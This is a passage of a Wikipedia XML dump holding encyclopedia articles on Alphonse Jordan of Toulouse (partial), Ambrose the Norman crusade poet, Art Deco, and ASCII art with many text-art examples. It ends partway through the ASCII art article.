He next fought for the sovereignty of Provence against [[Ramon Berenguer III, Count of Barcelona|Raymond Berenger III]], and not till September [[1125]] did the war end in an amicable agreement. Under it Jourdain became absolute master of the regions lying between the [[Pyrenees]] and the [[Alps]], [[Auvergne (province)|Auvergne]] and the sea. His ascendancy was an unmixed good to the country, for during a period of fourteen years art and industry flourished. About [[1134]] he seized the countship of [[Narbonne]], only restoring it to the Viscountess [[Ermengarde of Narbonne|Ermengarde]] (d. [[1197]]) in [[1143]]. The claim of the now deceased Philippa of Toulouse was pressed again when [[Louis VII of France|Louis VII]] besieged Toulouse in [[1141]], in right of his wife [[Eleanor of Aquitaine]], the grandaughter of Philippa, but without result.

Next year Jourdain again incurred the displeasure of the church by siding with the rebels of [[Montpellier]] against their lord. A second time he was excommunicated; but in [[1146]] he took the cross at the meeting of [[Vezelay]] called by Louis VII, and in [[August]], [[1147]] embarked for the East in the [[Second Crusade]]. He lingered on the way in [[Italy]] and probably in [[Constantinople]]. Alphonse might have met [[Eastern Roman Emperor]] [[Manuel I Comnenus]] during his visit there.

But in [[1148]] Alphonse had finally arrived at [[Acre, Palestine|Acre]]. Among his companions he had made enemies and he was destined to take no share in the crusade he had joined.  He was poisoned at [[Caesarea]], either by [[Eleanor of Aquitaine]], the wife of Louis, or [[Melisende of Jerusalem|Melisende]], the mother of [[Baldwin III of Jerusalem|Baldwin III]], [[Kingdom of Jerusalem|king of Jerusalem]] suggesting the draught. 

{{start box}}
{{succession box|before=[[Raymond of Toulouse|Raymond]]|years=1105&amp;ndash;1109&lt;br&gt;(regent&amp;nbsp;[[William-Jordan]])|title=[[County of Tripoli|Count of Tripoli]]|after=[[Bertrand of Toulouse|Bertrand]]}}
{{succession box|before=[[Bertrand of Toulouse|Bertrand]]|years=1112&amp;ndash;1148|title=[[Counts of Toulouse|Count of Toulouse]]|after=[[Raymond V of Toulouse|Raymond V]]}}
{{end box}}

==References==
*{{1911}}

[[Category:1103 births]]
[[Category:1148 deaths]]
[[Category:Counts of Tripoli]]
[[Category:Counts of Toulouse]]
[[de:Alfons I. (Toulouse)]]
[[pl:Alfons I z Tuluzy]]</text>
    </revision>
  </page>
  <page>
    <title>Ambrose the poet</title>
    <id>1880</id>
    <revision>
      <id>32444069</id>
      <timestamp>2005-12-23T03:54:18Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <comment>link MGH</comment>
      <text xml:space="preserve">'''Ambrose''' (around [[1190]]), [[Normans|Norman]] [[poet]], and chronicler of the [[Third Crusade]], [[author]] of a work called ''L'Estoire de la guerre sainte'', which describes in rhyming [[Old French language|French]] [[verse]] the adventures of [[Richard I of England|Richard Coeur de Lion]] as a [[crusader]].  The poem is known to us only through one [[Vatican Library|Vatican]] [[manuscript]], and long escaped the notice of [[historian]]s.  

The credit for detecting its value belongs to the late [[Gaston Paris]], although his edition ([[1897]]) was partially anticipated by the editors of the ''[[Monumenta Germaniae Historica]]'', who published some selections in the twenty-seventh volume of their Scriptores ([[1885]]).  

Ambrose followed Richard I as a [[noncombatant]], and not improbably as a court-[[minstrel]].  He speaks as an eye-witness of the king's doings at [[Messina, Italy|Messina]], in [[Cyprus]],  at the [[siege of Acre]], and in the abortive campaign which followed the capture of that city.  

Ambrose is surprisingly accurate in his [[chronology]]; though he did not complete his work before [[1195]], it is evidently founded upon notes which he had taken in the course of his [[pilgrimage]].  He shows no greater [[politics|political]] insight than we should expect from his position; but relates what he had seen and heard with a naïve vivacity which compels attention. He is prejudiced against the [[Saracens]], against the [[France|French]], and against all the rivals or enemies of his master; but he is never guilty of deliberate misrepresentation.  He is rather to be treated as a [[biographer]] than as a historian of the Crusade in its broader aspects.  None the less he is the chief authority for the events of the years 1190-1192, so far as these are connected with 
the [[Holy Land]].  

The ''Itinerarium Regis Ricardi'' (formerly attributed to [[Geoffrey Vinsauf]], but in reality the work of Richard, a canon of Holy Trinity, London) is little more than a free paraphrase of Ambrose.  The first book of the Itinerarium contains some additional facts; and the whole of the [[Latin]] version is adorned with dowers of [[rhetoric]] which are foreign to the style of Ambrose. But it is no longer possible to regard the Itinerarium as a first-hand [[narrative]].  [[William Stubbs|Stubbs]]'s edition of the Itinerarium ([[Rolls Series]], 1864), in which the contrary [[hypothesis]] is maintained, appeared before Gaston Paris published his discovery. 

==See also==
*[[Anglo-Norman literature]]
*[[Norman language]]

==References==
*{{1911}}

[[Category:Crusade literature]]</text>
    </revision>
  </page>
  <page>
    <title>Art Deco</title>
    <id>1881</id>
    <revision>
      <id>41928639</id>
      <timestamp>2006-03-02T18:08:58Z</timestamp>
      <contributor>
        <username>Toksook</username>
        <id>690292</id>
      </contributor>
      <text xml:space="preserve">[[Image:Stamp-ctc-art-deco.jpg|thumb|The Art Deco spire of the [[Chrysler Building]], built 1928-1930, commemorated on a US stamp]]

'''Art Deco''' ([[French (language)|French]]: ''Exposition Internationale des '''Art'''s '''Déco'''ratifs et Industriels Modernes'') was an early twentieth century movement in the [[decorative art]]s, that also grew in influence to affect [[architecture]], [[fashion]] and the [[visual arts]].

==Overview==

Art Deco derived its name from the [[World's fair]] held in [[Paris]] in [[1925]], formally titled the [[Exposition Internationale des Arts Décoratifs et Industriels Modernes]], which showcased French luxury goods and reassured the world that Paris remained the international center of style after [[World War I]]. Art Deco did not originate with the Exposition; it was a major style in [[Europe]] from the early [[1920s]], though it did not catch on in the [[United States|U.S.]] until about [[1928]], when it quickly modulated into the [[Streamline Moderne]] during the [[1930s]], the decade with which Americanized Art Deco is most strongly associated today.

Paris remained the center of the high end of Art Deco design, epitomized in furniture by [[Jacques-Emile Ruhlmann]], the best-known of Art Deco furniture designers and perhaps the last of the traditional Parisian ''ébénistes'', and [[Jean-Jacques Rateau]], the firm of [[Süe et Mare]], the screens of [[Eileen Gray]], wrought iron of [[Edgar Brandt]], metalwork and lacquer of Swiss-Jewish [[Jean Dunand]], the glass of [[René Lalique]] and [[Maurice Marinot]], clocks and jewelry by [[Cartier SA|Cartier]].

The term '''Art Deco''' was coined during the Exposition of 1925 but did not receive wider usage until it was re-evaluated in the [[1960s]]. Its practitioners were not working as a coherent community. It is considered to be eclectic, being influenced by a variety of sources, to name a few:

*Early work from the [[Wiener Werkstätte]]; functional industrial design
*&quot;Primitive&quot; arts of Africa, Egypt, or Aztec Mexico 
*Ancient Greek sculpture and pottery design of the less naturalistic &quot;[[Archaic_period_in_Greece|archaic period]]&quot;
*[[Léon Bakst]]'s sets and costumes for [[Diaghilev]]'s ''[[Ballets Russes]]''  
*Fractionated, crystalline, facetted form of decorative [[Cubism]] and [[Futurism (art)|Futurism]]
*[[Fauvism|Fauve]] color palette
*Severe forms of [[Neoclassicism]]: Boullée, Schinkel
*Everything associated with Jazz, [[Jazz Age]] or &quot;jazzy&quot;
*Animal motifs and forms; tropical foliage; [[ziggurat|ziggurats]]; crystals; &quot;sunbursts&quot;; stylized fountain motifs
*Lithe athletic &quot;modern&quot; female forms; flappers' bobbed haircuts
*[[Streamline_Moderne|Machine age]] technology such as the [[radio]] and [[skyscraper]].

[[Image:Asheville_City_Hall.jpg|thumb|[[Asheville, North Carolina]] City Hall, 1926&amp;ndash;1928 epitomizes the American [[Art Deco]] style.]]

Corresponding to these influences, the Art Deco is characterised by use of materials such as [[aluminium]], [[stainless steel]], lacquer, inlaid wood, sharkskin, and zebraskin. The bold use of zigzag and stepped forms, and sweeping curves (unlike the sinuous curves of the [[Art nouveau]]), [[Chevron (insignia)|chevron]] patterns, and the [[sunburst]] motif. Some of these motifs were ubiquitous — for example the sunburst motif was used in such varied contexts as a lady's shoe, a radiator grille, the auditorium of the [[Radio City Music Hall]] and the spire of the [[Chrysler Building]]. 
Art Deco was an opulent style and this opulence is attributed as a reaction to the forced austerity during the years of World War I. 
Art Deco was a popular style for interiors of cinema theatres and [[ocean liner]]s such as the [[SS Ile de France|''Ile de France'']] and [[SS Normandie|''Normandie'']].

A parallel movement following close behind, the [[Streamline]] or [[Streamline Moderne]], was influenced by manufacturing and streamlining techniques arising from science and the mass production shape of bullet, liners, etc., where aerodynamics are involved. Once the Chrysler Air-Flo design of [[1933]] was successful, &quot;streamlined&quot; forms began to be used even for objects such as pencil sharpeners and refrigerators. 
In architecture, this style was characterised by rounded corners, used predominantly for buildings at road junctions.

Some historians see Art Deco as a type of or early form of [[Modernism]].

Art Deco slowly lost patronage in the West after reaching mass production, where it began to be derided as gaudy and presenting a false image of luxury. Eventually the style was cut short by the austerities of [[World War II]]. In colonial countries such as India, it became a gateway for Modernism and continued to be used well into the 1960s. A resurgence of interest in Art Deco came with graphic design in the 1980s, where its association with [[film noir]] and 1930s glamour led to its use in ads for jewelry and fashion. This is still the image of Art Deco held in the minds of most Americans.


==Noted Art Deco artists and designers==  
[[Image:Maurice_Ascalon_Art_Deco.jpg|right|156px|thumb|Vintage catalogue image of Art Deco metalwork designed by [[Maurice Ascalon]] and manufactured by his Pal-Bell Company.]]
*[[Maurice Ascalon]]
*[[Adolphe Mouron Cassandre]]
*[[Jean Dunand]]
*[[Jean Dupas]]
*[[Romain de Tirtoff|Erté]] ([[Romain de Tirtoff]]) (1892-1990)
*[[Aleksandra Ekster|Alexandra Exter]]
*[[Eileen Gray]]
*[[Georg Jensen]]
*[[René Lalique]]
*[[Jules Leleu]]
*[[Oscar Bach]]
*[[Joseph Kiselewski]]
*[[Tamara de Lempicka]]
*[[Paul Manship]]
*[[Émile-Jacques Ruhlmann]]
*[[Sue et Mar]]
*[[Walter Dorwin Teague]]
*[[Carl Paul Jennewein]]

==Noted Art Deco architects==

*[[Pablo Antonio]]
*[[George Coles]]
*[[Ernest Cormier]]
*[[Banister Fletcher|Banister Flight Fletcher]]
*[[Oliver Hill]]
*[[Charles Holden]]
*[[Raymond Hood]]
*[[Ely Jacques Kahn]]
*[[Henry Vaughan Lanchester]]
*[[Edwin Lutyens]]
*[[James McKissack]]
*[[George Val Myer]]
*[[William van Alen]]
*[[Wirt C. Rowland]]
*[[Giles Gilbert Scott]]
*[[Clifford Strange]]
*[[Joseph Sunlight]]
*[[Ralph Walker]]
*[[Wallis, Gilbert and Partners|Thomas Wallis]]
*[[Ernest A. Williams]]
*[[Owen Williams]]

==Noted Art Deco designs==
[[Image:Carbon_jc01.jpg|right|156px|thumb|Chicago's Carbon and Carbide Building]]
[[Image:Supreme Court of Canada.jpg|right|230px|thumb|The Supreme Court Building in Ottawa, Canada]]
[[Image:Nicanor reyes hall.jpg|right|thumb|230px|Far Eastern University Campus in downtown Manila, Philippines]]
[[Image:IMG 0175.JPG|thumb|right|230px|The North Building of the Peace Hotel in Shanghai, China]]
*The [[Argyle Hotel]] in [[Los Angeles]], [[California]]
* The Bullock's Wilshire Building in [[Los Angeles]], [[California]] (now home to Southwestern University School of Law)
*[[Empire State Building]]
*[[Chrysler Building]]
*[[Fair Park|Dallas Fair Park]] [[Hall of State]]
*[[Golden Gate Bridge]]
*[[Fisher Building]] in [[Detroit, Michigan|Detroit]]
*[[Guardian Building]] in [[Detroit, Michigan|Detroit]]
*The [[Mapes Hotel]] in [[Reno, Nevada]]
*[[Peace Hotel]] in [[Shanghai]]
*[[Buffalo City Hall]] in  [[Buffalo, New York]]
*[[Asmara]], the [[capital city]] of [[Eritrea]]
* The [[ocean liner]]s [[SS Ile de France|''Ile de France'']], [[SS Normandie|''Normandie'']] and [[RMS Queen Mary]]
* The [[Montreal Eaton 9th floor restaurant]] is a copy of the huge ''SS Ile de France'' first class dining room
*[[Napier, New Zealand]] -  In 1931 the city of Napier was levelled by the [[Napier earthquake]] and ensuing fires. The city was rebuilt in the Art Deco style.
* The [[Hoover Building]], Perivale, London
* The former [[Byrant and May]] match factory in [[Speke]], [[Liverpool]].
* The [[India of Inchinnan]] office block, [[Inchinnan]], [[Renfrewshire]], [[Scotland]]
*[[Anzac War Memorial]], [[Sydney]] built 1929-34 designed [[C Bruce Dellit]] (1900-1942), Sculptor: [[Rayner Hoff]].
* [[Radio City Music Hall]]
* [[Université de Montréal]] central building
* [[Supreme Court of Canada]] in [[Ottawa]]
* [[Marine Building]] in [[Vancouver]]
* The East and West Stands at [[Arsenal Stadium]] in [[London]]
* [[Eltham Palace]] extension, south-east London
* The [[Colleen Moore]] Dollhouse at the [[Chicago, Illinois|Chicago]] [[Museum of Science and Industry in Chicago|Museum of Science and Industry]]
* [[Boston Avenue Methodist Church]] in [[Tulsa]], [[Oklahoma]].  Designed by [[Bruce Goff]].
*The city hall of [[Asheville]], [[North Carolina]], built 1926 - 28 [http://www.ci.asheville.nc.us/commune/history.htm].
* The [[Cincinnati Museum Center at Union Terminal]] in [[Cincinnati]], [[Ohio]].
*[[Waterman pens|Waterman]] [[Waterman Phileas|Phileas]] [[fountain pen]]
*[[Chicago, Illinois|Chicago]], [[Illinois]]
**[[Chicago Board of Trade Building]]
**[[Carbon and Carbide Building]] 
*720 and 730 Fort Washington Avenue, in the [[Hudson Heights, Manhattan|Hudson Heights]] area of [[Manhattan]] in [[New York City]], [[New York]].
*[[South Beach]] in [[Miami Beach, Florida|Miami Beach]], [[Florida]].
*Former [[Pennsylvania Railroad]] [[30th Street Station]] and [[Suburban Station]] in [[Philadelphia, Pennsylvania]]
*[[Far Eastern University|Far Eastern University Campus]] in the [[Manila|City of Manila]], Philippines
* The [[Price Building]] (aka [[Édifice Price]]), Quebec City, Quebec, Canada, home to the Hotel Clarendon. The top floor is where the premier of Quebec stays while in the capital city. Originally built by Price Brothers (paper industry).

==External links==
*[http://www.vam.ac.uk/vastatic/microsites/1157_art_deco/resources/ V &amp; A Art Deco exhibition, 2003]
*[http://www.artdecoworld.com/gallery03.htm Article on Anzac Memorial with photos]
*[http://www.ci.chi.il.us/Landmarks/Tours/ArtDeco.html Art Deco architecture tour of Chicago landmarks]
*[http://www.decopix.com large collection of photographic examples]

==Further reading==
* Duncan, Alastair. ''Art Deco Furniture: The French Designers'', Thames and Hudson, 1984. ISBN 0500234124

{{Westernart}}
[[Category:Art Deco|*Art Deco]]

[[de:Art Déco]]
[[es:Art decó]]
[[fa:آرت دکو]]
[[fr:Art déco]]
[[he:ארט דקו]]
[[it:Art Decò]]
[[nl:Art Deco]]
[[ja:アール・デコ]]
[[ka:არტ-დეკო]]
[[no:Art deco]]
[[pl:Art déco]]
[[pt:Art Déco]]
[[ro:Art Deco]]
[[sv:Art déco]]
[[zh:装饰艺术运动]]</text>
    </revision>
  </page>
  <page>
    <title>ASCII art</title>
    <id>1884</id>
    <revision>
      <id>42109434</id>
      <timestamp>2006-03-03T22:03:05Z</timestamp>
      <contributor>
        <ip>82.33.121.92</ip>
      </contributor>
      <comment>/* Types and examples of ASCII art */</comment>
      <text xml:space="preserve">{| align=right
| &lt;pre&gt;&lt;nowiki&gt;
    _    ____   ____ ___ ___              _   
   /_\  / ___| / ___|_ _|_ _|   __ _ _ __| |_ 
  //_\\ \___ \| |    | | | |   / _` | '__| __|
 / ___ \ ___) | |___ | | | |  | (_| | |  | |_ 
/_/   \_\____/ \____|___|___|  \__,_|_|   \__|
&lt;/nowiki&gt;&lt;/pre&gt;
|}

'''ASCII art''', an artistic medium relying primarily on [[computer]]s for presentation, consists of pictures pieced together from the 95 printable [[character (computing)|characters]] defined by [[ASCII]]. The term is also used more loosely to refer to [[#Other text based art|text based art in general]]. They can be created with any [[text editor]], and are often used with [[free-form language]]s. Most examples of ASCII [[art]] require a [[typeface#Proportion|fixed-width font]] (non-proportional [[typeface|fonts]], like on a traditional [[typewriter]]) such as [[Courier (font)|Courier]] for presentation.

ASCII art is used wherever text can be more readily printed or transmitted than graphics, or in some cases, where the transmission of pictures is not possible. This includes typewriters, [[teletype]]s, non-graphic [[computer terminal]]s, in early [[computer network]]ing (e.g., [[bulletin board system|BBSes]]), [[e-mail]], and [[Usenet]] news messages. ASCII art is also used within the [[source code]] of computer programs for representation of company or product logos, and flow control or other diagrams. In some cases, the entire source code of a program is a piece of ASCII art - for instance, an entry to one of the earlier [[International Obfuscated C Code Contest]] is a program that adds numbers, but visually looks like a binary adder drawn in logic ports. Taking the medium to extremes, there exists a video driver for the popular video game ''[[Quake]]'' that displays the game in ASCII art. ASCII art is also very commonly used amongst software piracy groups to display group logos inside text (*.nfo) files containing the instructions for installing and cracking the software (though these commonly use PC text mode characters as well as just ASCII).

Pop artist [[Beck]] has a music video &quot;Black Tambourine&quot; made up entirely of ASCII characters that approximate the original footage.

''Animated ASCII art'' is possible by embedding video terminal escape sequences such as ANSI X3.64 for cursor movement into the &quot;picture&quot;.

==Types and examples of ASCII art==
The simplest forms of ASCII art are combinations of two or three characters for expressing emotion in text.  They are commonly referred to as '[[emoticon]]', 'smilie', or 'smiley'.  Mentally rotate these examples 90 degrees clockwise for a more recognizable orientation:
{|-
|-
|&lt;pre&gt;
:-) or :)   :-( or :(   ;-) or ;)   :-P or :p    &gt;:(    :x  
  smile       frown       wink      tongue out   mad   sour
                                   
B-) or 8-)  :-O or :O   :-0 or :0   :-S or :S    :D     :?
sunglasses   shouting   surprised    confused   laugh   eh?
&lt;/pre&gt;
|}
There is another type of one-line ASCII art that does not require the mental rotation of pictures, which is widely known in Japan as [[Emoticon#East Asian style|kaomoji]] (literally &quot;face characters&quot;.) Traditionally, they are referred to as &quot;ASCII face&quot;.  Today, some call them &quot;verticons&quot;:
{|-
|-
|
&lt;pre&gt;
(^_^)       (-_-)       (X_X)
happy        sad        dead

\(^o^)/     (o.~)           o&lt;                d(O.O)b
joyous     winking     conspiracy duck       thumbs up

(b_d)     &lt;(^_^&lt;) (&gt;^_^)&gt; &lt;(^_^&lt;) (&gt;^_^)&gt;    (o_O) (O_o)
glasses          pointing / dancing          eye stare

^_^;                 (v_v)  (~_~)         ;_;    (T_T)
embarrassed            sleeping/             crying
';' for sweatdrop      downcast          ',' for tears

&lt;/pre&gt;
|}

More complex examples use several lines of text to draw large symbols or 
more complex figures. Some common examples:
{|-
|-
|
&lt;pre&gt;
    o      o     o    o     o    &lt;o     &lt;o&gt;    o&gt;    o
   .|.    \|.   \|/   //    X     \      |    &lt;|    &lt;|&gt;   ASCII Macarena
    /\     &gt;\   /&lt;    &gt;\   /&lt;     &gt;\    /&lt;     &gt;\   /&lt;

            (__)                      
            (oo)                      
     /-------\/      __        O          _            ,__o
    / |     ||      /o)\      /|\       &gt;(o)__       _-\_&lt;, 
   *  ||----||      \(o/      / \        (_~_/      (*)/'(*)
      ~~    ~~                          ~~~~~~~
        Bull      Yin/Yang   Person   Rubber Duck    Cyclist

  ,-._,-.      (|)
  \/)&quot;(\/      | |
   (_o_)       | |
               | |
    Dog       () ()   
              
              Tulip

&lt;/pre&gt;
|}

A more intricate example of this depicts a building:
{|-
|-
|&lt;pre&gt;
                                   .-.
                                  /___\            ||--------------.
                                  |___|            ||.___TO_LET___.|
                                  |]_[|            ||  asciihomes  |
                                  / I \            ||   555-1212   |
                               JL/  |  \JL         ||______________|
    .-.                    i   ()   |   ()   i     ||./           .-.
    |_|     .^.           /_\  LJ=======LJ  /_\    ||/    .^.     |_|
 ._/___\._./___\_._._._._.L_J_/.-.     .-.\_L_J._._||._._/___\._./___\._._._
        ., |-,-| .,       L_J  |_| [I] |_|  L_J       ., |-,-| .,        .,
        JL |-O-| JL       L_J%%%%%%%%%%%%%%%L_J       JL |-O-| JL        JL
 IIIIII_HH_'-'-'_HH_IIIIII|_|=======H=======|_|IIIIII_HH_'-'-'_HH_IIIIII_HH_
 -------[]-------[]-------[_]----\.=I=./----[_]-------[]-------[]--------[]-
  _/\_  ||\\_I_//||  _/\_ [_] []_/_L_J_\_[] [_] _/\_  ||\\_I_//||  _/\_  ||\
  |__|  ||=/_|_\=||  |__|_|_|   _L_L_J_J_   |_|_|__|  ||=/_|_\=||  |__|  ||-
  |__|  |||__|__|||  |__[___]__--__===__--__[___]__|  |||__|__|||  |__|  |||
 IIIIIII[_]IIIII[_]IIIIIL___J__II__|_|__II__L___JIIIII[_]IIIII[_]IIIIIIII[_]
  \_I_/ [_]\_I_/[_] \_I_[_]\II/[]\_\I/_/[]\II/[_]\_I_/ [_]\_I_/[_] \_I_/ [_]
 ./   \.L_J/   \L_J./   L_JI  I[]/     \[]I  IL_J    \.L_J/   \L_J./   \.L_J
 |     |L_J|   |L_J|    L_J|  |[]|     |[]|  |L_J     |L_J|   |L_J|     |L_J
 |_____JL_JL___JL_JL____|-||  |[]|     |[]|  ||-|_____JL_JL___JL_JL_____JL_J 

&lt;/pre&gt;
|}

{|-
|-
|&lt;pre&gt;
  AHHHHA 
 AHHHHHHA
AllSTOPllA
 VHHHHHHV
  VHHHHV
&lt;/pre&gt;
|}

It is popular to put such art in [[signature block]]s to be included in e-mail and Usenet postings.

Other ASCII art ignores the particular shape of the characters and instead uses their overall boldness or lightness to create varying gradients.
{|-
|-
| &lt;pre&gt;
       _a,
      _yQa.
     _qTWW(
     je`?QX:
    &lt;d+ -3Wm;
   _qos_s%mWw,
   a2?????TWW(
  sd(     -?Qm;.
.amm;     .xmWmc
&quot;&quot;&quot;&quot;&quot;`    &quot;&quot;&quot;&quot;&quot;&quot;&quot;
&lt;/pre&gt;
|}


&lt;/font&gt;

One use for ASCII art is to create unique typography, for example:
{|-
|-
|
       ___              __,
      ( /              (          o _/_ /
       / __,  _   _     `.  _ _  ,  /  /_
     _/_(_/(_/ /_(/_  (___)/ / /_(_(__/ /_
    //
   (/
|}
The program ''[[Figlet]]'' (and other programs that support its standard) allow for the design and use of ASCII fonts:
{|-
|-
|&lt;pre&gt;
 _____ ___ ____ _      _   
|  ___|_ _/ ___| | ___| |_ 
| |_   | | |  _| |/ _ \ __|
|  _|  | | |_| | |  __/ |_ 
|_|   |___\____|_|\___|\__|
&lt;/pre&gt;
|}
What follows is an example of &quot;[[Amiga]]-style&quot; (also referred to as &quot;oldschool style&quot;) [[computer art scene|scene]] ASCII art. This kind of ASCII art is handmade in a text editor. Popular editors used to make this kind of ASCII art include CygnusEditor aka CED (Amiga) and EditPlus2 (PC).
{|-
|-
|&lt;pre&gt;
                   ______.----------------------------.______
                 :_)                                        (_:
             ....|:                                          :|....
             :  :&lt;&gt;                                          &lt;&gt;:  :
             :···|:                                          :|···:
         .---+- -:-                                          -:- -+---.
      /\___  |    /\___      /\_____     /\______     /\______    |   /\___
    _/    /  |  _/    /___ _/ __   /   _/  __   /   _/  __   /    : _/    /
    \  __//\ :/\\   _//  / \  )/  //\  \   )/  //\  \   )/  //\  /\ \_   //\
  _/¯¯ \)¯  \/  ¯¯ __¯   \/¯¯ ¯  ¯¯  \/¯¯  ¯_ ¯¯  \/¯¯  ¯_ ¯¯  \/  ¯)/  ¯¯  \_
  \                )/¯                     (/           (/          ¯        /
 /¯¯               /                       /            /            _      ¯¯\
 \_           /\__/        /\_        /\__/        /\__/         /\_(/       _/
 =/          /===/        /==/       /===/        /=©d/         /=:=/       /=
  ¯¯¯¯¯¯¯¯¯\/:   :¯¯¯¯¯¯\/   ¯¯¯¯¯¯\/    ¯¯¯¯¯¯¯\/    ¯¯¯¯¯¯¯¯\/  | ¯¯¯¯¯¯\/
   ______.---+-  :____ /\_____  :              :      ________:  -+---.______
 :_)·····    :.....  _/      /--+--./\_____.---+---./\___    .....:    ·····(_:
 |:           : ..:..\      /   : _/      /    :  _/    /  ..:.. :           :|
 &lt;&gt;           :.:.: : \  __//\  /\\  __  //\  /\  \_   //\ : :.:.:           &lt;&gt;
 |:             :..._/¯¯ \)¯  \/  ¯¯ )/ ¯¯  \/  ¯¯)/  ¯¯  \_...:             :|
 :        ____ ____ \                ¯            ¯        / ____ ____        :
 \_.     _\_  \\  //¯¯                            _       ¯¯\\  //  _/_     ._/
 ---· _  \¯ _  \\ \\_           /\_           /\_(/        _// //  _ ¯/  _ ·---
 /¯·  \¯¯¯ ¯\¯¯¯ ¯¯=/          /:=/          /=:=/        /= ¯¯ ¯¯¯/¯ ¯¯¯/  ·¯\
 :     ¯¯¯¯¯¯       ¯¯¯¯¯¯¯¯¯\/-+--¯¯¯¯¯¯¯¯\/--+--¯¯¯¯¯¯\/         ¯¯¯¯¯¯    :
 |:                             :              :                             :|
 &lt;&gt;                          .              .                                &lt;&gt;
 |:                      _ . | __ .__.__   .|__  __    .                     :|
 :¯).....             __(__|-|(_/_| (| ((__||__)(__)(__|__             .....(¯:
   ¯¯¯¯¯¯·-----------·-------|----|--|----(/----------(/--·-----------·¯¯¯¯¯¯

&lt;/pre&gt;
|}

==Methods for generating ASCII art==
While some prefer to use a simple [[Text editor]] to produce ASCII art, [[ASCII Art#ASCII art editors|specialized programs]] have been developed to allow you to draw text in lines, boxes, and filled areas as you would in a normal paint package.

[[ASCII Art#ASCII art generators|Other programs]] allow you to automatically convert an image to ASCII art, which is a special case of [[vector quantization]]. A method is to sample the image down to [[grayscale]] with less than [[integer (computer science)|8-bit]] precision, and then assign a character for each value.

An example of a converted image, created using [http://ascgen2.sourceforge.net Ascgen dotNet], is given below, next to the original:
&lt;div style=&quot;float:right;margin:10 10 1em 1em;&quot;&gt;[[image:Redwingblackbird1.jpg|200px|Photo of redwing blackbird]]&lt;/div&gt;
&lt;font size=&quot;-2&quot; color=&quot;black&quot;&gt;
&lt;pre&gt;
tt%%%%%%tttttttttttttttttt;;;tttttt;;;:::;;;;;ttttttttt;;;;;;;;;tttt%%%C7O7
t,;;;;;;;;;;;;:;;;;::;;;::::::;;:::,... .......,...................,,:,::;t
t;ttttt%C7OO7%tttt%%%%%%tttttt%%tt;;,,....,,,,.,,,,,:::::;;;;;:,,:::;;;;;t;
t;ttttttCCCCC%%tt%tCO77x27777O77C%tttt;;::::::,,,,,,,,,,,:;;;::,,,,,:;::;;;
t:tttttttt;tttttttt%CC7OO77CC%%72OOO7C%ttt;;;;:,,,..,.,,......;xsQsG:...,::
;,;;;;;:;;:;;;;:,,,,,,,;;tttt;tttt%t%ttt;;;;:,......       tSMMM#Q%;:::,:;:
;,;;;;;:;;;;;:,tD@@@@8Zt,,:;;;;:;;;:;;:,,...........  .;DMMMMD;...,;tttttt;
;,;;;;tttt;;.,@MMMMMMMMM#C..,..........:;tZ0SKbE@#MMMMMMMMC. .,;tCC7C%C%%t;
,.,,,,:;;:..,NMMMMMMMMMMMMMSQKE###NNNMMMMMMMMMMMMMMMMMMMM#C;7GDDD5G2OCCttt;
.        ,sMMMMMNNN#NNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN@NMMbODS99Qs5xx2O77CCt
         .,.  DMMN##MNMMMMMMMMMMMMMMN#MN@NNNN##NN###@EE@MM@ttttt;;ttCC777Ot
   .,::;:.     ;NNNEGOCOZQG. ,MM#@@##@##@#####NNNN#NN@@K8Qx:,::::,:;;;ttt%t
..:;%ZsD0D0Ds57;@ME:,:;tO     MN@@@#########NNNMMMM#K5t;,,;tt%ttttttt;;;;;:
tOQDDs5DQgEE@@bSMM,.;tx2    MMM#######NNNNN##NMNgx;::;t7O22xZ22xxOC%tt;;,:,
sQSsG2C%CxGs00DZ0Mt:t;.  .tQMM########NNNN#NMMK.    .,,:;:,,,...,,::,,,,,,,
sD8S9DsZxxxx22OCtO#MME8QMMMMM#######NN#NNNNMD.     ...,,,...      ...,:;tt;
t;tt%t%%tttt;;;;:,.,7#MMMMMMNNNNNNN#N####NMK...,:::;;;t;;;:,..     ..,:;%7t
t,;;;;:,,,,,.,,,...    :s@NMN#NMMMMMNNNNMN@Z%xxZxxZZxxO7C%ttt;;:,,,,,,:;;;:
t;tttttttttt%%tt%tt;;,.   t@NNNO,7S#MMM#sttt7xGZZZZZZxxZxZZx2x227%ttt;;::;,
t;tttCO2xGGsD00QQ99QD52%t,%59N#.    .@D. .............,,,::::::::,.......,.
x7x2OOCC%ttt;;tttCCC%%tt;;..    ,,. 0%  .........        .... ...          
xxD5Z27OC%tt;;;:;;;:::;:,....   .2x@t ,;;tt%%77O7CC%tt;;:,..,,,,,...    .,,
t:;;::::;;;ttttttt%%7O2xxx27Ob:  0M% ..,.,::;;;;;;;:,...     .....,,:t%2GGt
: .         ..,;::::;;;;;ttt;Q5   MC ..,.....          ..  ...,:,,::;tCC%t;
,            .........  .,;tt9G;  ,ttt%7OxxxxxZZxxxZZ5D009QSS8g8S0Dsx7Ctttt
.     ......,...,,. ;OG5D98gKSgK9    CZ7C2xGs0S8gKbEEE@@@@@bg8ggKEEE@@@@@@5
:.,...,:::,,,.,,,t     CgES0098b@M.  .x57CCttt%CxxZxxO7C%ttt;;;;;;tt%OxGsZ%
:;;.,....,,;;t2509x       ,OGZ772,O,  t%t;:,.. ..;;;,.    ..,,,,..    .    
            ..  .;tD2,         ,:  ,t   .,....   ..                        
   .                ,tOZ2;       tDOt2,   ;;:::::,:;;ttt:. .   ...,;:,.  . 
        .                 ,:;,.     t;2;  .;::;;;;tt;::.,........,::....;C;
.      ,. ..     . .. :;tt...         .;:,..,.  .......  .:;:...         ..
&lt;/pre&gt;
&lt;/font&gt;

==Non fixed-width ASCII==
Most ASCII art is created using a [[monospace]] font, where all characters are identical in width ([[Courier (font)|Courier New]] is a popular font). However, most of the most commonly used fonts in word processors, web browsers and other programs are proportional fonts, such as [[Arial]] or [[Times New Roman]], where different widths are used for different characters. ASCII art drawn for a fixed width font will usually appear distorted, or even unrecognisable when displayed in a proportional font.

Some ASCII artists have produced art for display in such fonts. These ASCIIs, rather than using a purely shade-based correspondence, use characters for slopes and borders and use block shading. These ASCIIs generally offer greater precision and attention to detail than fixed-width ASCIIs for a lower character count, although they are not as universally accessible since they are usually relatively font-specific.

==Other text based art==
There are a variety of other types of art using text symbols from character sets other than ASCII and/or some form of color coding. Despite not being pure ASCII, these are still often referred to as &quot;ASCII art&quot;. The character set portion designed specifically for drawing are known as the line drawing characters or pseudo-graphics.

===IBM PC===
{| align=right 
|&lt;font color=#008000&gt;&lt;pre&gt;
